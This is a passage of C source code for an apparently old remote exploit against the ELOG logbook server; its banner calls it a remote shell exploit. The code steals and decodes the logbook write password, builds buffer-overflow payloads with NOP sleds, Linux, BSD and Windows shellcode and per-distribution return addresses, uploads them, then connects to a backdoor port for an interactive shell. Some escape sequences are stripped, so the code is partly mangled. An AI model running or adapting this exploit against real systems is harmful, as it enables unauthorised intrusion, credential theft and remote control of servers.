             findme(temp,MISSED[i].addr);
              if((p = strstr(response,temp)) != NULL) {
                 z = TRASH[i].addr;
                 while( (!iscntrl(*p+1) || isalnum(*p+1))){
                    *z = *(char *)(p + strlen(temp)); 
                    z++;
                    p++;
                 }
              for(k = 0; TRASH[i].addr[k] ; k++) {
                  if((TRASH[i].addr[k] == ',') || (TRASH[i].addr[k] == 'n')) {
                     TRASH[i].addr[k] = '';
                   }
              }
              bzero(temp,sizeof(temp));
              }
           }
         
}          
   return;
   
}         


void             crack_the_code(char *hostname,unsigned short port,char *logbook) 
{
 
 int                 soc;
 int                 ready;
 int                 yes = 0;
 char                request[REQUESTSIZE];
 fd_set              read_fd;
 struct     timeval  w_t;
 struct sockaddr_in  rem_addr;
 int                 i = 0;
 int                 n = 0;
 char                response[6900];
 char                wpassbuf[100];
 char                *z; 
 char                *p = wpassbuf;
 char                *w = wpassbufenc; 

        bzero(wpassbuf,sizeof(wpassbuf));
        bzero(wpassbufdec,sizeof(wpassbufdec));
        make_spy_header(hostname,port,request,logbook);

         w_t.tv_sec = TIMEOUT;
         w_t.tv_usec = 0;
          soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
           if(soc < 0)
            {
            perror("socket");
            exit(1);
            }
    
          if(setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) {
            perror("setsockopt");
            close(soc);
            exit(1);
           }
    
       memset(&(rem_addr.sin_zero),'',8);
       rem_addr.sin_family = AF_INET;   
       rem_addr.sin_port   = htons(port);
       rem_addr.sin_addr.s_addr = get_host_ip(hostname);
       PRINTINFO(GETINGPASS,1);       
           if(connect(soc,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) {
             fprintf(stderr,"[-] Can not Connect to server!n");
             exit(1);
            }
      
           if( (send(soc,request,strlen(request),0)) < 0 ){
             perror("send");
             exit(-1);
             close(soc);
           }
             FD_CLR(soc,&read_fd);
             FD_ZERO(&read_fd);
             FD_SET(soc,&read_fd);

  
           if( (ready = select(soc+1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0){
             perror("select read socket");
             close(soc);
             exit(1);
            }
               if(FD_ISSET(soc,&read_fd)){
                  i = recv(soc, response, 30, 0);
                   if (i < 0) {
                    perror("Cannot receive response");
                    return ;
                   }    
                  n = i;
                   while (i > 0) {
                    i = recv(soc, response + n, 30, MSG_DONTWAIT);
                       if (i > 0)
                       n += i;
                       if(i <= 0)
                       break;
                    }
          response[strlen(response)] = '';
          close(soc);
          fflush(stdout);
               if((z = strstr(response,"Write Password=")) != NULL) 
                 while((*(char *)(z + 15)) != EOF  && isgraph(*(char *)(z + 15))) {
                   if( *(char *)(z + 15) == 'W') {
                     if(! isascii(*(char *)(z+16)))
                      break;
                     }
                 *p = *(char *)(z + 15);
                 z++;
                 p++;       
               }
      
                 else {NPRINTINFO(PASSFAILED); exit(EXIT_FAILURE);}
                 base64_decode(wpassbuf,wpassbufdec);
                 strncpy(w,wpassbuf,sizeof(wpassbuf));
         
                     for(i = 0; isgraph(wpassbufdec[i]) ; i++)
                      { }
                    wpassbufdec[i] = '';
                    PRINTINFO(PASSSUCCESS,1);
                    printf(""GREEN"[+]Write Password = "DEFAULT" "GREEN"%s"DEFAULT"n",wpassbufdec);
      }
}


void           make_spy_header(char *hostname,short port, char *buf,char *logbook)
{

 char          *url_enc = urlencode(logbook);

 bzero(buf,sizeof(buf));
 strncpy(buf,GETREQ,sizeof(GETREQ));
 sprintf(buf + strlen(buf), "%s/",url_enc);
 sprintf(buf + strlen(buf), "%s",GETREQCMD);
 strcat (buf,  HTTPVER);
 sprintf(buf + strlen(buf), "Host: %s:%drn", hostname,port);
 sprintf(buf + strlen(buf), "User-Agent: ELOGrn");
 sprintf(buf + strlen(buf), "Accept-Language: en-us,en;q=0.5rn");
 sprintf(buf + strlen(buf), "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn");
 sprintf(buf + strlen(buf), "Accept-Encoding: gzip,deflatern");
 sprintf(buf + strlen(buf), "Keep-Alive: 300rn");
 sprintf(buf + strlen(buf), "Connection: keep-alivern");
 sprintf(buf + strlen(buf), "Authorization: Basic %srnrn",encuserandpass);
}


void        authorize_user(char *user , char *pass)
{

     char          *p;
     char          *k;
       p = (char *)&userandpass[0];
       k = (char *)&encuserandpass[0];

       bzero(userandpass,sizeof(userandpass));
       bzero(encuserandpass,sizeof(encuserandpass));

     sprintf(p,"%s%c",user,':');
     sprintf(p + strlen(p) ,"%s",pass);
     base64_encode(userandpass,encuserandpass);

}

void        build_att_buffer(int choice,int vendor)
{
   unsigned int *i;
   char              *c;
     if(choice == 0)
      c = lnx_shellcode;
     if(choice == 1)
      c = bsd_shellcode;
     if(choice == 2) {
      bzero(windozetext,sizeof(windozetext));
      c = win_shellcode;
      memset(windozebuf,'Z',sizeof(windozebuf));
      memset(windozetext,NOP,sizeof(windozetext));
      i = (int *)&windozebuf[242];
     *i = TARGETZ[vendor].ret;
      strcpy(&windozetext[sizeof(windozetext) -strlen(c)],c);  
      return;
      }       
   bzero(shbuffer,sizeof(shbuffer));
   bzero(bigbuffer,sizeof(bigbuffer));
   bzero(debianbuffer,sizeof(debianbuffer));
   memset(bigbuffer,NOP,sizeof(bigbuffer));

   memset(shbuffer,'A',sizeof(shbuffer));
   memset(debianbuffer,'A',sizeof(debianbuffer));
   memset(fedorabuf,'B',sizeof(fedorabuf));
   strcpy(&bigbuffer[BIGBUFSIZE - strlen(c)],c);
    if(vendor == 4) {
     i = (int *)&fedorabuf[284];
    }    
    if(vendor == 5 || vendor == 2 ){
    i = (int *)&debianbuffer[260];
    }
    if((vendor != 4) && (vendor != 5) && (vendor != 6) && (vendor != 2)){   
    i = (int *)&shbuffer[284];
    }
   *i = TARGETZ[vendor].ret;
 return;
}


void        do_last_stage(char *hostname,short port,char *logbook)
{
 int                 soc;
 int                 yes = 0;
 struct              sockaddr_in rem_addr;
 char                angelform[SENDBUFSIZE]; 
 char                *content;
 int                 flagz = UPLOADME;
 
 bzero(angelform,sizeof(angelform));
 content = make_http_content(flagz,logbook);
 strcat(angelform,make_request_header(logbook,boundary,0));
 strcat(angelform,content);
         soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
           if(soc < 0)
            {
            perror("socket"); 
            exit(1);
            }
                     
          if(setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) {
            perror("setsockopt");
            close(soc);  
            exit(1);
           }
       memset(&(rem_addr.sin_zero),'',8);
       rem_addr.sin_family = AF_INET;
       rem_addr.sin_port   = htons(port);
       rem_addr.sin_addr.s_addr = get_host_ip(hostname);

         if(connect(soc,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) {
             fprintf(stderr,"[-] Can not Connect to server!n");
             exit(1);
            }
                 
           if( (send(soc,angelform,strlen(angelform),0)) < 0 ){
             perror("send");
             exit(-1);
             close(soc); 
           }

   close(soc);
return;
}


void                we_r_coming(char* hostname)
{
       int sock;
       int yes;
       short port;
       struct sockaddr_in rem_addr;
           
           port = BACKDOOR;
           if(id == 6){
           port = WINBACKDOOR;
           }
           if(id == 2 || id == 10 || id == 11){
           port = BSDBACKDOOR;
           }             
           sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
           if(sock < 0)
            {
            perror("socket");
            exit(1);
            }
                
          if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) {
            perror("setsockopt");
            close(sock);
            exit(1);    
            }

                 memset(&(rem_addr.sin_zero),'',8);
                 rem_addr.sin_family = AF_INET;
                 rem_addr.sin_port   = htons(port);
                 rem_addr.sin_addr.s_addr = get_host_ip(hostname);
         
                    sleep(4);
                    if(connect(sock,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) {
                      NPRINTINFO(REMCRASHED);
                      close(sock);
                      exit(1);
                      }
                 shell(sock);
exit(0);
}

void                shell(int sock)
{
        fd_set  fd_read;
        char buffer[1024],*cmd = (id == 6 ? WINCMD : COMMAND);
        int size;

        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        FD_SET(0, &fd_read);

        send(sock, cmd, strlen(cmd), 0);

        while(1) {
                FD_SET(sock,&fd_read);
                FD_SET(0,&fd_read);

                if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;

                if (FD_ISSET(sock, &fd_read)) {

                        if((size = recv(sock, buffer, sizeof(buffer), 0)) < 0){
                                NPRINTINFO(NODATA);
                                exit(1);
                        }

                        if (write(1, buffer, size) < 0) break;
                }

                if (FD_ISSET(0, &fd_read)) {

                        if((size = read(0, buffer, sizeof(buffer))) < 0){
                                NPRINTINFO(NODATA);
                                exit(1);
                        }

                        if (send(sock, buffer, size, 0) < 0) break;
                }

                usleep(30);
        }

        NPRINTINFO(REMDOWN);
        exit(0);
}


void             banner(void)
{
 puts(""GREEN"n4rk0tix(4DDICT3DZ)"DEFAULT"  *nix/Windows Elog E.L remote $hell exploitn");
 return;
}
 
void             usage(char * arg)
{
 fprintf(stderr,"Usage :%s -h hostnamen"
                "    ttt -p portn"
                "    ttt -l logbooknamen"
                "    ttt -o Operating System IDn"
                "    ttt -d List Operating system IDn"
                "    ttt -u logbook user for read(If required)n"
                "    ttt -r logbook password for read (If required)n"
                "    ttt -w logbook password for write(If required)n",arg
         );
 return;
}
 
void             listos(void)
{
  int         i;
   for(i = 0; TARGETZ[i].id != -1 ; i++)
    {
     printf("%d = %sn",i,TARGETZ[i].distro);
    }

return;
}
/* Vert3k, hic bir zaman senin inandigina inanmadim, koda tapan ben deilim*/

// www.Syue.com [2005-02-09]